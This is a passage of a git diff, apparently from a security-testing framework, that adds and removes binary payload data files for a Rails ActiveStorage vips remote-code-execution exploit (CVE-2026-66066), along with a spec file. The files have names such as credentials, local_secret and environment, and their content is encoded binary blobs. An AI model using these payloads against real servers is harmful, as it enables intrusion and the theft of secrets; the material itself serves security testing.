data/exploits/CVE-2026-66066/proc_mem_512.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_mem_64.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_smaps.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_version.mat create mode 100644 spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb diff --git a/data/exploits/CVE-2026-66066/ascii_100.mat b/data/exploits/CVE-2026-66066/ascii_100.mat new file mode 100644 index 0000000000000000000000000000000000000000..0bc63a6b8e398c01c4cd85f1b1592032220eb559 GIT binary patch literal 8720 zcmeI1J4_of7{{FeB~WNX=_94DD}9hYAlC7%2z?9vHqH+*{=--dd<5~SxA=K}o&~15p6YQLYu}Z75e01jUyVR| zK9%J+yo9^PEM;xXGc_1~rRi1cd?v}3RxkWvA7T+13jsqcE+U1(5|j|v)b|AQotr#g zd4`<9eTW+l%Ro^)7ujnvU~@qB5j;6PA@xK=C*&(~JH%YE6Jo zzn)hgGh<)Sx5=5a_IM~8H#uX+LCz674t5;$mBP*k zJ0I+P`1KRiJ{R`6u+N2kF6`gcXZ=@k!t6R}*Gaoh+I8|=>m;dj^fP~e*F^YlDfn?w z7ol}aRWDL?QNH%DgbiWqz#X-!k}{;JiMn`(1;72rkNxTKuG#AUud{DxWm?6^=E3!{Bd$j}rgD;2(is zCH}0KfE>!E^2vgWGOw1;rorC^zs|#G{-MDSO2DGsAby%GKq{XlaIp?)@wW{A4){$H z|H$A+P{$r4eimFL8*EfQ1@K$M-!}NW;J1m-{Bis!_#NUe8T>N1`1(m3pB;n0 z2Y!#lkBA5QIGy8sV&D$(3kKf@zfb&KgWm=pCw^2c7#zx`#@_*dz_E6}WrN=Ye@Og2 zgTD{{i1;zFAaN+0$|nx~m}4y;-{7x- zCH}s_?}9%geq1c59LlEhNrFG;Sj%VK;BSCW62D{c55T90?}`PRL)lb5v)~DiwR~Cz he-qp#e%Ih18hGyGr#b#jvs#Ae=eNw#ZhtodKLJe2w_gAN literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/ascii_16.mat b/data/exploits/CVE-2026-66066/ascii_16.mat new file mode 100644 index 0000000000000000000000000000000000000000..f0430fbfdb68f9451b918511db06a913407ca5b9 GIT binary patch literal 3008 zcmeHJ%}&BV5S|v)MkT>`F`jz#qTmmTM~o0mtPz3C(DSTordK+F z-Di3eZ;fV6|J4TSi2-T*(+E7)k88Qb^+hoWO@l1t<$P3WKClg!rtjq)KpQ&>+6S~R z=&u0(0jwdug8Fe@>!MnPkV(%Yi*7K`WDgC&sr@Grs8=fuzSK)xFJ>u>FwZCqu03Fm z&ofE3It~2LDxgU%6jWeCC@HE0XdX#66XrW-@^R@QGk6YlRaFY*u`b@{lf~r*F(7AS+?VwecSa-I%rJS3c9B2SRK~wIakaxi`zT9d!_w@^5Lu=mr8ZZ zhiM#Sj?9chEbkWJN#VKA|GdVEn5Xe`gzA^hDXtB*ra^dH0Fw*hE<&QdBK+40RrH8I zLR^$jgrBDZ#c|^6h-Ww+;dc}G1H{ELBm7|k{|)iEnEqO9U#0nMATGA4h`yV^zfZuM VXXnTK%Yfd4E*6N3PtBJj@Ci3F9~}Sy literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/ascii_20.mat b/data/exploits/CVE-2026-66066/ascii_20.mat new file mode 100644 index 0000000000000000000000000000000000000000..c919ab28bc8581f9694c2637613d727a033e8440 GIT binary patch literal 3280 zcmeHJze~eF6n;t7#-dQMLvhOJqK&`X&5A7*jEZ$|i=iGi5Nt?dDNc@c^Uv^4aCCHZ z^v`f~)7;&Amt+jXujKfD`N}XoqNT z(O&_60hAG+LH#7}=&;d%h)Ls-MK>5u%AQ6*X8%4mI zGTmw|i-X)FeoE#Z4!PWfcG2W9zr5-WBj{! zs^}5_0dY}gWBei|KE5Zuj<_ffF@86NKR{f3W{iKI!hb}3oR1shmlNjz&1W8QUIXKN yFNJ@FxG2Lh{p2}A`cKFg>l5SaSReVYyb<3>!P|TL+x(vrt#i^}s$}=iBJc*zHCAc> literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/ascii_256.mat b/data/exploits/CVE-2026-66066/ascii_256.mat new file mode 100644 index 0000000000000000000000000000000000000000..28161f189c09643637479eef4df763990b2725bf GIT binary patch literal 19328 zcmeI4OOP5>6oxO8#9&O67#|p49iM1ShP;VSCT2!rG7&RT@i~kW45MQPXC@Kjqgdi@ zmMmGaWXX~xOO`BIvSi6lIj8@In*+zHR9WT1ds0O=Uw>SFn(ouxQ%x4o4-R;5`_3X2u^Vg8jma`@==C!-TQt>A+;99B zgv^2Ah+(tH{d{?KePwI77K}MGlph#QgV)?%yS1I51$Z6L-p51mJ+zPdFABy@@4k1C z*&De#vv+fw8^E)hD{Jdp%XiiaTg$i@79CAjkxvT)`Q(C-1gwM2e&;;9zorH;r0u+U%36komWr0su(lZCtaU( zebV(w*C)q4aoU{gldey?KI!_T>yy*EH4JWldey?J~{4*)8<^CbbZqGN!KS` zpPbem$ISIf*C$<{bbZqG$#GAdHs|`J>yxfex<2Xpfp5xNmo_iA3ohU%tci{8)W99dF z1<)WUz> ze}M#1SU*YdM+jS=x2*UTaJt{$_PdJT2R|tM1aBY&QOJ`5f0VG5XGig?;D?0YQ~Uw= zW5Q4J21pQvJZbR930rw8ieCeNLil~fAO56)>q+6KWCKE;3^?~8D^FGN>)=m`@dt_@ z<{ibD!@^I4b69#no-Fv&!mlZQ1N<4`8~+ztME%0}5%6b;TAw$g_<8W>gkM+uCiwHh z5AzO95QRKZaF4K+C#(1c@FT)+D1Hn41>r}yVGu+ij|cuDVJlBw@r&Ru3BRfMZSa?c zALWKb5QRK3@K*?1c?ybO0)JKbEyeGE$As^3!y|}7o;dhxgsnV9#V>=uF8sFQcfpSe zKgJD}APRXB;BOGN@{|;R2mF}uJBr@}KQ8<@H*A6^EyzTpFx zG3SJz0w>IcJQ;BQjhmIHs`zzq{!x|X4-`Ml2S#Jwq&KzvG`JsT_=r4N@VA6tQ~U<_ z+rl?|fE|rK8b1R5j_@;zp9gL*p_X%6yS6=ap;1`A8RQxvhyzqnHZxZH0o)|8W76@8-3gEsxe1u;D|3LUH z#qWTpgzxbQ&S><}_;K({!Y?X*8T>=xw-vt&ep&c2K7pFdlK{UW{F37DfG-Naqxe1W ztHO`-3EE_yB=|?dFDrfpJT3gL;`hNn7JhC@RNLk zIhiL7{)zA_ieCf&RQP?xH+-UM%xA(+fsYblf60JngkM$sI{4?pA1Hp9PlS#6LilNL znI{YWrSNNt-vIwg_{JNJ?9bryM!>%&YW0&0IAJdMdC!0P4NWY+4(=}V(l@DW5IPYQgKu$5;=@vGol!tW{m0DN2cNxq;Yh(ew;_-(>go{Hkv!0!mZulR;9 zOpW5D4tYuof(~_9$#E4Rpj%}d<$RY+>96XcX7D<6T~`UUur5Aa zSAy+^vL04W!?{`!YwC%rx5(#)L(NjrqcQL2!7K^$G73bu%a>j&t$H`n+xV#HaSzpx zo4-)$?=V?cowV-cJFkekhtaZo9Ayh=ce5}~@?aUKd7u+bkcP!PNRx0D%@@gGlm-6% z2M-@@KYr5N`B6(s)w;c%Iu2@%)N!ceVD1$E#C)*!%?)Zb;F`z>&S~G^ zuPXSb!1=&#@GmO(pMl?y?=$!vD_?7WdcgU(ZSYSj`0s%?E&a<1{ukgkExwQQgoI@g aTodh9;L{f`_vAkdy$ literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/ascii_64.mat b/data/exploits/CVE-2026-66066/ascii_64.mat new file mode 100644 index 0000000000000000000000000000000000000000..e95fb554abd0a2d5c84314c97133e716bb58a5ff GIT binary patch literal 6272 zcmeI0J4_ov5QgW>>p~!ykOv_TUFjyV^B^(ZIl`7B#fcSD&>72|VoMfSwu7uxl%%7i zq@<*zq@<*zq@<*zOKxZXHOnR&B~hdl*|lKy{`+=rZf|yd<5F(vZSHk2|0EMc{a(~r ztF<0?d+VLr$0*3vd(Dj~sNk?vDFlDDQQ}RBT>Gap@TIs|m>i!Q=OBEahAAoINl5b* zZFBbOu{XH!K2I^JuBR;AQTDd%`ATs1znXz!K35hu zyo|d>meLXOOif0+*^gRXkx8-@)rmi}9{JK29D0;uPhLU_A^h6xP@M0A6!FRtGJ{9p zH<6Hzl2{kPlyo>dDy@%|Gvp0cgt~PGCMd(!qsiE#PbJ>ZtMyi`8_xpKOngz{N?x1j zQ**7CimcYoubdJe~O#~Ao64_|eXUX3==pQFw?m#b=;j6Q?x3Z{fF~bNQq3#}@t+`gOy9%BYuA zJXz=y2ES?Hx1moO{E3A>gMP!{GyDLBC|js3bS_J^``xneJJ7jE)%a5je-3?GTusqvG9A)?->5iEqq+k zbGvKsMPmaBB}U88c^}f^*|qTd(C-=kFD$&z3x#OT;LFev#^8CaK)-MBdlvox`U8U} s{N7;tPeOla@XHpy0sWD|?_2moi(Yy6eo_3gsiw)?UsRmV{(J_$0h__LrvLx| literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2026-66066/blocked_16.mat b/data/exploits/CVE-2026-66066/blocked_16.mat deleted file mode 100644 index 6b7b60f75ff38f65bd72ff5201f24e49872d0b32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 40376 zcmeI*OORsa8OHI`J?b3C8O4|jF*jl|3Aw0v8O7YB&CCQ7TZuDC$hGN=9qFX)p}IR$ zELoBrODa{VV#$&vOO`BIvSi7UCA--4cMh*ZJ^xBsm8vZAw&n2k4|t^i9!9OQirt;N z@9eylyYWIHchEdLI62-wdj9n6{>lD_2f3YlXNM0Ca(9w%ckkTJ{a3%D?YDO$|N5U6 z_(%EX?Q2(_y>js);y8LF%7oXm9d7=ed=3Bg@b}@nD5@ogt>m_y-1d{_Z$+y=q9~jA z)5-qksECB$n>w5-X>3r8vhKZI0e7`zba6^wNqLBz}4iZPOqnNa-F3y4vrrj zp4>nF=-~M5g3{}W*j5AH8~Q>689`czjm8ct&{M#qm@8lKy>YH^P(B-O3{mkGy!Ye|U7d_u#N` zx|jZgWv{V+R^MwJ?cY17-#_}`;AF4x(#x;BdgHa%i*KmYYSDMRk6%9zzeD_ep?oxG2#V&;9Ug*tg3RmIHvSPOOXKB|hD_pui0g0V?6*KQ+E!4^Ts48aO$6Bb9_fb{MypOd|C-0-Gn0X&-p-$dMRWb8E)s&eN+`Q?_(|0 z$@{1(X5PnIsFU|mRm{APwNNMTqpFyBA8Vmb-bYn2^FG!>oxG2#V&;9Ug*tg3RmIHv zSPOOXKB|hD_pui0g0V?6*KQ+E!4^Ts48aO$6Bb9 z_fb{MypOd|C-0-Gn0X&-p-$dMRWV!jxg2$_uRfb_^=D_RvsFkwpK$Z@L)V{QxO&nj zzEbag!dA!BXW;qt0m=R8w~h3$;Y09f<8v+3hn2xQ;8XD2rH6ljbiWQh0AGTaHa-tB z-EV_Wz_aNGYi@L_f%m}|;Kj#uhZgu4Jaakhq(5hRTLtfd&%q1Hg`4iCw@vU7c>K72 zofYsd_zXNBK1q1}K1p9^1AGV`J)vJ`8N35N16DVbMV5`dcO%i0*^nVcPijr@ELgi8NJ^C zAA(1p)jMVI4)_#2_qnj2{`Q?-S9S0K_!7MIdA;8TpMYn-pm%EEeeeZ%G5H|r%?>T_ zF?i;S`gK;pd*E~M!n1n62|fakzod66;9c+;c>c>_KmEsfdR;ZZhv3my^iCPP13m@M zeO2$*!3W?=@Y2`xej9uOp3Ui<8h9Uk0bcyN-fw}A!86b4oho<_d=6gtM%YjPHEt_> z8#Td4;PE&0P6fORJ_FBR*ZU3dA$asHy;BD7fKS15-`4we@B#P|yp-4bZSVfET|T_8$v3>wj-;fses6-_tu)@E-UayzqU!-vl3l$It7X3V0WM2A+RG?>E4Q z;L(eErwrZ!pMvKKdcO`n0AGTaUJCn{!_E4-YJ*R}voGtN8h9Uk0bYDX@3+9m;F(wT zP8GZdJ_j${(ECmB5qSKX-l>3h!Drz4*Y$n_d~HSW z!3W?=@X`HQY?7(DZ1y;BA6fzQDUKhgV5@DX_YrrxO} z{&={1eO-0IXW;o#7}(rtfDgf=9lcWq?|@Iib8qSWI`{y5310fC-fx3Xz_T~?P7S;d zz5p-Y()%s&F?i;--l-;jCEUHfu6p2e@WRi+z~)X9d;}hs^-cx63qAwSzpeKh;6w1} z=X$3M-T|M2=YFC0>)-?MC3xu_z263(fM<90PA%~#!rklZst>*ZFTNWFHg{U!WAMy- zdZ!BB1D}HzDtf;OJ_3(_sdp;iUGN!r{(ZgQ03U)!cl1sfyaPT3&)wDg^~A4+yVuv% z0DK8v`c)X%+-ZYPz_Y*BJ2mh=_yWB68@=BGAA@JAdZ!BB1D}HzeyjJJ;3M$(cY3D+ z-UXk5=YOyF8;M^FcdxIjA$atM@W9Q-m%%&WQ}Em$^?n_E0KNn-{Yme)!6)F^J-t%{ z?}IPEi#5I90w05C_VrE`yazr9FZ@~WHxqv{+`Yc8M&R+i@W9Q-SHQdAGw}QedcOfa z1dk5%P8qxdJ_XPHMeo^J|Rz{kX9RTKaK diff --git a/data/exploits/CVE-2026-66066/blocked_32.mat b/data/exploits/CVE-2026-66066/blocked_32.mat deleted file mode 100644 index e95b11e9a9ebc321adf5a69a4cb28514e3cc1f21..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 78776 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 diff --git a/data/exploits/CVE-2026-66066/blocked_8.mat b/data/exploits/CVE-2026-66066/blocked_8.mat deleted file mode 100644 index af8f78640bd80863e0fd4d9a4bcd672415473f63..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 21176 zcmeI4J#1Q67={ma65pnAOOpQ3^zZhc{v^5iaYCgIxQZhx)eVX>umN&WvEBh*&$jHdZ$jHdZ$jHdnayj?-tI_)^id3mXzl(g&cOUM3IXpfGu%*N9_KTmlfAqKR z1b(GntDGE_4{x8=j!(+JRs8M!+QC`H--{1-_n!Ly>Soq{+BLfUrw0DaJ$br$_14v8 zCp^zwGD+K?HQW3ZZ~f;NkL{5$rMO7MZ8L7W@%0H4-Hb`a{Cb?fdftoYJ3D4^rh7cs z#+RA!nXNnrwEbTh$n9+BqbFR5pS2rL!+4xI8I_~6gOlT<-z!J8C3533>rQyZHetNw z__e!egr;ronoYJx#$1kbSC7{h<2^bvnpO4+JAyCAxoc}SC>hU-_765_e8aY0Jag6) zZbl649r6B}36@pDY%UT#v%7pfFYX_fPfw#eZY~})>YIIRWBxces%4f}*z1<%E9~6w zA!kF*bMu!jhTJ_V9~_<*&kn-VqI+X0hUHqd7#^1QE7jw}Un?iY;NJZQ54RpY&U}xm zC{c6NkB*;PK9lO8p=!!qktrK$ZGIR)nb^ae*rJgRBTsKjH#a>IYd7rhdc)s?-m%B24{=3sk8e zWJQ?z5f`XZKgfzO^&>7&rGAhVVd_U*pi2E9E5g)|xImTqK~{vRA8~;y^@FSkQ$OMY zRq6*>5vG2`1*+5!vLa0VhznGyA7n+C`VkkXQa{LwF!duYP^Es56=CW}T%bz*AS=Su zkGMdU`axENsULBHD)ob`2#fq|n9+@B&0_R3T-<_qeW6`F8J%G_x2|!yIMl&K>v;Pg zEGiwJ5T14?#P_?y&=o7ZPq#6D&alC=Y(fh)^oc2CgCH( zQ*L4GinkKsUBYLCXRcrm4Z??nCpT=4d!DW>5Z)ntN_Y?tT$k(GI^hGtz1MI*^Mtnv zpAeq5-vn?zPh3Ak!uy1q*Kt2{gtrJE6YgKb`BlPugwF}jZsPnV;UmIRZ`d3+jh)XD z;a$RKglFEw`3=H{geRi~>Wgi)p9R7@gii?%uH*bV;RC|GcwPKzKl6mQ37-(2zKQ!8 z65c1=yoGaegtrJE6Yjrl^WDq08&_4rdxXyk&%T56n}m-DPrZwCN`!X_pAnvkzX)R0 zLxb=k;mP-KKMRC+2%i!j+`{>F!Uu$V@8g_2;cdbvgr`5S`R?u9jjNFGKH=s=oRcHG zMfjL-|0A4VCA>%Yobc?&IKN5wi13t;b4rAF37-+3`2^=T2pgqtsMPLA*v;bX%6uW){q@E+lF!n0|d z-z0oQcAz(H#Yx@ZO%WpHV7XQp8OW)6bSDSJ|#T(4(Hbi9}w={#yNSy z+k{UDPv61$A>n<(&0U<6BfLfUm~cP9`BlPugwF}j-n01|wmBbHO~OZnr|#pN65(CK zXM|@S;QR*RL&B2}aZZ8o4&hV6gDsq2CwxG-_Xy|Y32zfVAw2yU=ZA#%2{##>v-iuh WC($?J#ed$L)&Jwzt91V|1AhZThQSX2 diff --git a/data/exploits/CVE-2026-66066/credentials.mat b/data/exploits/CVE-2026-66066/credentials.mat deleted file mode 100644 index ce669bd614541cf81a66ed4a238aa5bb29ba511c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2000 zcmeHH!AiqG5S^qg4aI`uMLgx`#ikd*qmi~$Fj{O6-ZX5tC6I0;iB6{p8VndR|R`k^S3x%7vmM#G-} zs{-yt1Y7yj3@rPdUbAu7u#50KsKPF;$3^%cd9Q!fQ3JTAjzhR0e5H5?%m;8l<9o!v z?l-#Wc0qgce2f$Ziz@a!9@yf)%0Ryx4$OvcY1dp&Z&YWT45{Wxo~fBsr5)nBJY$Cq z(Sf?HUu;Z;9wD!b%*<~rM%ML;u6HwLZWY?Ff@|Pe-F1);qIc1}e_# zrl3WWXxV|bMF*OCCJ!R}&fkeNE(&AV*UmMK9P^l{^3+CfX07tA;d4OWRs4X~%K^bd yo{6B4=_C+O<3MC;l1u}U%dtM0BubMK!c1G-Bm^JNpJP)d{jq7m{-bvo-Uv<;~Zm8oBJ`%oAyaVO~*dzN6 z@vn{>U-o*SNAi4(6b8>#?0Ib1;J?bipcf9!hOcPXTu-l5XPgYFmPwwexm2Y!ab0$J zz?$el-PSKQra}*p*F|RLHy$IadPUc}v6)+iKCIvxcvg2^B&us(ESQ0c z^LbOyqe--ELEEAOO+Awbk$vZ{MH&}{aqQ~BHH{o|o2c^GMsQ}W@~z=>=#YowhqPV} z2o`xJf;7ti^8zMpji1yZ_-h2!n#YgaM zbbn?J)_7=Q;z5?Mv-7*Nv)`=mP0zd&`>5yI?6G1+7N&<~l^5Zh*Hz)Jhi3d~1)j%)QMa?-kx5t+K(u@!Anc6ED|*IUsYf{^d{oKS9of|(;MQ9iovovDe~-&Wt9{WF8gG# zA=SW?_*IiY=z)r>tH>08g>lz;gX3MuL{}-DLU0=_$?LibWb(K|uYL{OAMn27Hey)V zQHDmHvXXL|w!oE34Z7Uc0$;xK*HIdlrBLkhjoO^5oB-~VtU8t+R9VS2(DGZ*g*zqIV{V)517R7Wxm9sn)|hZAm3e?CAWWYi48ao3N_WWn7Lvf-%j z{^|hhG=$Cg(+WHfdi_>&zp0aO9H_yz$;UF}1IK&gD{nY}8(c7?Pe@hY?;4A!U!qXe#jEcd|{gv%}& ztVtO(G=9yb5PD$ZS|&2ZuQ2W^Z%e!@nd&N|GYGDOqj}3Rff_Qd(wmn-=Lfu3(nbvj zJIZF%DV3Jfv;`f#WYChf4utxizmC(WD3oGXZd8}l*HqkkBQA7Si z%$FRz`#g)if~Qk2ewcW1CZ@^Ei*r7aCzC{Jp$sN-`G?6w`<5@sZ*+dqQ#S_nxoeYV IL)WRmC-*3CtN;K2 diff --git a/data/exploits/CVE-2026-66066/credentials_staging.mat b/data/exploits/CVE-2026-66066/credentials_staging.mat deleted file mode 100644 index b6b737b8119b00ef2fc024116fe69ee6cb7b4d77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2008 zcmeHH!AiqG5S^qg4aI`uMLgx`#ikd*V9{C5It}pK^S*SSMFRQ$W6X}PdN*B@}lNybO z{;vwSClRdWPc!gz+#j}EyDhs2&x1N_;(AJP1c-!moDr8;_A?y{7Bk*vzd$A69S!Jgd7d5;Zli@#F76_s4o?7R*4+ z`MfFU(Ii?npli{Aww}p@$iDMeB8$t?IJWiRhDMILO;vShBRI2G`PT3`^vJ{UBU z1UE%4f>LI)K-^6Ok*isn1fq~reKKjBl|fm>Nve|0!#wLqB`9!wcHTEH2H$hP#*AxR GB?BLHDs966 diff --git a/data/exploits/CVE-2026-66066/credentials_staging_key.mat b/data/exploits/CVE-2026-66066/credentials_staging_key.mat deleted file mode 100644 index 76b08d6da46e6a9ea806754514442d663e3caf6c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2000 zcmeHHu};H440V!LjVdaESP)Z27Md^*~wje$2@Y7B!r?tXT7Zm4QJo80rIG(y6(gUa8JF8A8s|BA2&9Rz}5jdBg@Q zatj)!esRzhx`((nA~XJ+aF=CA)w|Z|uEI5};5xWQwrvDzC|tdczXhEi>V2+kG`ZAK zj>VlaH+mj6pkt;Mw3Mw2p?T-8;w&mly|Aq|sw<8$0onWZ3h6 zRlvPSU@L!`fn~qjYqt(tW)YqTb=bxAxCkFs-kV=_)Bx^n$FaDu_-f-F&>z5o9pAJ3 z>wcq~I0ofO^AXxGSk$rS(ZCk}RR;QTG|(HqwY#Qzdb4##$>3t1m4%pbAMO{bHjl^ay!fWF~%X(Xy`BRK4pleXG!h72E*N=&p-IO~tG2_&d<~vEGRVGf;C@ zHw7(%zH)9Tq?pG{$Ws$RnKjC{hRy+fSMdY8UJ3{w z%7TRz&nF>!8i%Y9lWZEYl8@ENWNBW7l2U$ diff --git a/data/exploits/CVE-2026-66066/credentials_test_key.mat b/data/exploits/CVE-2026-66066/credentials_test_key.mat deleted file mode 100644 index 98edbc27f5222b0a1644e194f5913da23421c6bb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2000 zcmeHHu};H440Y00jVdaESP)Z27Md(bj0Ck+kqA_@0~Ndev9x| z?Zy|q9woto?EmFkR>A+mW=Rsz}SK%5~a0478+cp9<6|P>#-va-KdS56TO%8Qb z&Eig37(EXg;G3xhZDs2~Xx{m&IE~6uFKnxg8j52~0QX5I4~++B)(GDQz6Z4Z^dC~Z z?BLxMdF+)UoqF-Z#EbK6n#{bo5EFGXNtBkJ6s7Fkh$r+Iot<~}OTqo^))=Yc>tx^q D+8k{S diff --git a/data/exploits/CVE-2026-66066/environment.mat b/data/exploits/CVE-2026-66066/environment.mat deleted file mode 100644 index 40ae0ede926c6fc43f3f5094522209323d59d5bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1976 zcmeHH%}T>S5S}D0U5W+8i+I|j7fmjLMPXylDul1Y%N>SbPM16Cc4x@U3)r zXGXB%p&)oL8?xWd@6OK7Y#h$d!V`IT5J>gds=7>z{idzz^iIhzYxAX&36XI!k-s{? zJ&mCof0}{k>3A|4?hb7bLO>5TF&-D;oyP0nD~%Mu4J{nPC&Cx9cffoAJH+22|EqfQ z%P0b^$@?*q87z9Z63poEUu9q#g)?*DD>^mT(;L+pCqtFXyspZ7RkoJJb$QGRYoY@K zTfaD&3f)7$E_!DF+%~JUrv-**x(a1j!F>>xc3pHd(0+{^e+Pn}>YdtCP)B*rXQzmL6MlxK0K>0B^El00000 diff --git a/data/exploits/CVE-2026-66066/local_secret.mat b/data/exploits/CVE-2026-66066/local_secret.mat deleted file mode 100644 index 9bbee844c2769b68d7a1ce96025644fbcbe595a1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1992 zcmeHHPfNov6n||uR)zz`i+IY>i|a0eM=RTyV0G9Xyv{Q0SgE2+?xhG*HJM8hlNiN)@v9Bo zvj{frPc!f`==NL9{ia=n??Vl?aXl`=8?|NQvy2kJ4GkQ^XTn#CcffoAd!*kX{;z(c zt6mSZC(p-7VenMLkmfRan7w@U85+NYv20#*V)OouBF*Npv)3z;ixs z3R!UeE$G;R11;_ALuB9iahfGnWemI8yRMOg9wxauwh^3JD}3wt9FTn#Kcw|?Krkzd sG^k{D7o?B3ftt>OtVok=T*S5S}D04aI`uMLg}%i%liV6>PXylIHr5^NJmVzsv%^-X+~zLoCo 